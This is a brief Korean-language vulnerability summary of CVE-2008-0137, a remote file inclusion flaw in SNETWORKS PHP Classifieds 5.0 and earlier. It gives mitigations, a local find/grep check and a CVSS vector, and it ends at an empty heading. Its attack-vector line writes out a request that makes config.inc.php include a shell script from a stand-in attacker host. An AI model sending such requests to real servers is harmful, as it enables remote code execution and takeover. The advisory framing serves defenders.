🔍 CVE-2008-0137

📍 영향받는 시스템

SNETWORKS PHP CLASSIFIEDS 5.0 이하 버전

⚔️ 공격 벡터

http://target/config.inc.php?path_escape=http://attacker.com/shell.php%00 형태로 원격 파일을 포함시켜 PHP 코드 실행

🛡️ 대응 방법

최신 보안 패치 적용 또는 path_escape 입력값에 대한 화이트리스트 검증 및 allow_url_include 비활성화

🔧 검증 코드

명령어가 config.inc.php 파일과 path_escape 매개변수를 찾으면 해당 버전 확인 후 SNETWORKS PHP CLASSIFIEDS 5.0 여부 검증 필요. 파일이 없으면 취약점 미존재 가능성 높음.

find / -name 'config.inc.php' -path '*/classifieds/*' 2>/dev/null | head -5 && grep -r 'path_escape' /var/www 2>/dev/null | grep -v Binary

📊 CVSS Vector String

AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어